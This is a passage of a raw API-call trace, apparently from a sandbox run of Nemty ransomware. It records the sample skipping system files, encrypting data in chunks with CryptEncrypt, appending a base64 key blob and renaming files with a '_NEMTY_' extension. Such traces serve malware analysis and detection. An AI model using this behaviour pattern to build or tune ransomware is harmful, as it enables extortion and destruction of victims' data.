dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0100.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94138 | out: hHeap=0x4f90000) returned 1 [0100.416] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="MSPVWCTL.DLL.mui", cAlternateFileName="")) returned 1 [0100.416] lstrcmpiW (lpString1="MSPVWCTL.DLL.mui", lpString2=".") returned 1 [0100.416] lstrcmpiW (lpString1="MSPVWCTL.DLL.mui", lpString2="..") returned 1 [0100.416] lstrcmpiW (lpString1="MSPVWCTL.DLL.mui", lpString2="...") returned 1 [0100.416] lstrcmpiW (lpString1="MSPVWCTL.DLL.mui", lpString2="windows") returned -1 [0100.416] lstrcmpiW (lpString1="MSPVWCTL.DLL.mui", lpString2="$RECYCLE.BIN") returned 1 [0100.416] lstrcmpiW (lpString1="MSPVWCTL.DLL.mui", lpString2="rsa") returned -1 [0100.416] lstrcmpiW (lpString1="MSPVWCTL.DLL.mui", lpString2="NTDETECT.COM") returned -1 [0100.416] lstrcmpiW (lpString1="MSPVWCTL.DLL.mui", lpString2="ntldr") returned -1 [0100.416] lstrcmpiW (lpString1="MSPVWCTL.DLL.mui", lpString2="MSDOS.SYS") returned 1 [0100.416] lstrcmpiW (lpString1="MSPVWCTL.DLL.mui", lpString2="IO.SYS") returned 1 [0100.416] lstrcmpiW (lpString1="MSPVWCTL.DLL.mui", lpString2="boot.ini") returned 1 [0100.416] lstrcmpiW (lpString1="MSPVWCTL.DLL.mui", lpString2="boot.ini") returned 1 [0100.416] lstrcmpiW (lpString1="MSPVWCTL.DLL.mui", lpString2="AUTOEXEC.BAT") returned 1 [0100.416] lstrcmpiW (lpString1="MSPVWCTL.DLL.mui", lpString2="ntuser.dat") returned -1 [0100.416] lstrcmpiW (lpString1="MSPVWCTL.DLL.mui", lpString2="desktop.ini") returned 1 [0100.416] lstrcmpiW (lpString1="MSPVWCTL.DLL.mui", lpString2="CONFIG.SYS") returned 1 [0100.416] lstrcmpiW (lpString1="MSPVWCTL.DLL.mui", lpString2="RECYCLER") returned -1 [0100.416] lstrcmpiW (lpString1="MSPVWCTL.DLL.mui", lpString2="BOOTSECT.BAK") returned 1 [0100.416] lstrcmpiW (lpString1="MSPVWCTL.DLL.mui", lpString2="bootmgr") returned 1 [0100.416] lstrcmpiW (lpString1="MSPVWCTL.DLL.mui", lpString2="programdata") returned -1 [0100.416] lstrcmpiW (lpString1="MSPVWCTL.DLL.mui", lpString2="appdata") returned 1 [0100.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0100.417] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MSPVWCTL.DLL.mui", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0100.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0100.417] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MSPVWCTL.DLL.mui", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MSPVWCTL.DLL.mui", lpUsedDefaultChar=0x0) returned 16 [0100.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0100.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0100.417] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MSPVWCTL.DLL.mui", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0100.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0100.417] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MSPVWCTL.DLL.mui", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MSPVWCTL.DLL.mui", lpUsedDefaultChar=0x0) returned 16 [0100.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0100.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0100.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0100.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0100.417] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MSPVWCTL.DLL.mui", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0100.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0100.417] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MSPVWCTL.DLL.mui", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MSPVWCTL.DLL.mui", lpUsedDefaultChar=0x0) returned 16 [0100.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0100.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0100.417] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MSPVWCTL.DLL.mui", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0100.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0100.417] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MSPVWCTL.DLL.mui", cchWideChar=16, lpMultiByteStr=0x4f9ed08, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MSPVWCTL.DLL.mui", lpUsedDefaultChar=0x0) returned 16 [0100.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0100.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94138 [0100.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941b0 | out: hHeap=0x4f90000) returned 1 [0100.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f941b0 [0100.417] Sleep (dwMilliseconds=0x5) [0100.431] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xef8218f0, dwHighDateTime=0x1d561e7)) [0100.431] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xef8218f0, dwHighDateTime=0x1d561e7)) [0100.431] GetLastError () returned 0x5 [0100.431] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0100.431] GetLastError () returned 0x5 [0100.431] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0100.431] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0100.431] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0100.431] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0100.431] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0100.431] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0100.431] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94228 [0100.431] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94228, pcchString=0x653ef9c | out: pszString="RSP95fwm1Jb3ehdC0S0NzH1D4PL0zngo1fmTBg4/yDmnC60aLR+Y9GO4bOUkiIGW\r\nJBkdPp/pvIoyIl83oYPXKp8vSmXu7vzmVqH2PBeHzkzNiyXakkYA69TORYYEko1j\r\ngX/R2NzE6podHdSDAGWs/U1xasmrP90gAuka/yeV64iCTgFHtJFIng2El8iPgGbZ\r\niZdZ95qp/lAv7FWDZzUw57GAFwVu1Pwd3GvGUY+MJ/PWvNzAFPXcMbUEZPYAYyXu\r\na7pAbdYvgCHEeb68R5KRY4O4ZBqumSUlQapYJYA4FMzpvfmNVyMmDjGR98fz02It\r\nkWFWC+nLSOpewSjuAyCjbQ==\r\n", pcchString=0x653ef9c) returned 1 [0100.431] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0100.431] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94228 | out: hHeap=0x4f90000) returned 1 [0100.431] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0100.431] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0100.431] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94228 [0100.431] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0100.431] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\en-US\\MSPVWCTL.DLL.mui" (normalized: "c:\\program files\\windows journal\\en-us\\mspvwctl.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0100.432] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0100.432] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0100.432] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.432] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.441] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.441] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.441] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.441] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.451] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.451] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.451] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.451] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.460] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.460] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.460] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.460] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.471] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.471] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.471] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.471] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.480] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.480] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.480] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.480] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.490] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.490] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.490] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.490] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.499] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.499] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.499] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.499] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.509] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.509] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.509] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.509] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.518] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.518] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.518] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.518] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.528] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.528] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.528] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.528] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.534] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.534] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.534] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.534] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.540] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.540] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.540] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.540] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f94228, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0100.540] CloseHandle (hObject=0xffffffff) returned 0 [0100.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94398 [0100.540] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0100.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0100.540] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0100.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0100.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0100.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340048 [0100.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x63400d0 [0100.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0100.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0100.540] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Journal\\en-US\\MSPVWCTL.DLL.mui" (normalized: "c:\\program files\\windows journal\\en-us\\mspvwctl.dll.mui"), lpNewFileName="C:\\Program Files\\Windows Journal\\en-US\\MSPVWCTL.DLL.mui._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows journal\\en-us\\mspvwctl.dll.mui._nemty_kgobjgd_")) returned 0 [0100.541] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0100.541] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94398 | out: hHeap=0x4f90000) returned 1 [0100.541] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0100.541] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94228 | out: hHeap=0x4f90000) returned 1 [0100.541] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0100.541] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0100.541] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0100.541] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941b0 | out: hHeap=0x4f90000) returned 1 [0100.541] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0100.541] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0100.541] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="NBMapTIP.dll.mui", cAlternateFileName="")) returned 1 [0100.541] lstrcmpiW (lpString1="NBMapTIP.dll.mui", lpString2=".") returned 1 [0100.541] lstrcmpiW (lpString1="NBMapTIP.dll.mui", lpString2="..") returned 1 [0100.541] lstrcmpiW (lpString1="NBMapTIP.dll.mui", lpString2="...") returned 1 [0100.541] lstrcmpiW (lpString1="NBMapTIP.dll.mui", lpString2="windows") returned -1 [0100.541] lstrcmpiW (lpString1="NBMapTIP.dll.mui", lpString2="$RECYCLE.BIN") returned 1 [0100.541] lstrcmpiW (lpString1="NBMapTIP.dll.mui", lpString2="rsa") returned -1 [0100.541] lstrcmpiW (lpString1="NBMapTIP.dll.mui", lpString2="NTDETECT.COM") returned -1 [0100.541] lstrcmpiW (lpString1="NBMapTIP.dll.mui", lpString2="ntldr") returned -1 [0100.541] lstrcmpiW (lpString1="NBMapTIP.dll.mui", lpString2="MSDOS.SYS") returned 1 [0100.541] lstrcmpiW (lpString1="NBMapTIP.dll.mui", lpString2="IO.SYS") returned 1 [0100.541] lstrcmpiW (lpString1="NBMapTIP.dll.mui", lpString2="boot.ini") returned 1 [0100.541] lstrcmpiW (lpString1="NBMapTIP.dll.mui", lpString2="boot.ini") returned 1 [0100.541] lstrcmpiW (lpString1="NBMapTIP.dll.mui", lpString2="AUTOEXEC.BAT") returned 1 [0100.541] lstrcmpiW (lpString1="NBMapTIP.dll.mui", lpString2="ntuser.dat") returned -1 [0100.541] lstrcmpiW (lpString1="NBMapTIP.dll.mui", lpString2="desktop.ini") returned 1 [0100.541] lstrcmpiW (lpString1="NBMapTIP.dll.mui", lpString2="CONFIG.SYS") returned 1 [0100.541] lstrcmpiW (lpString1="NBMapTIP.dll.mui", 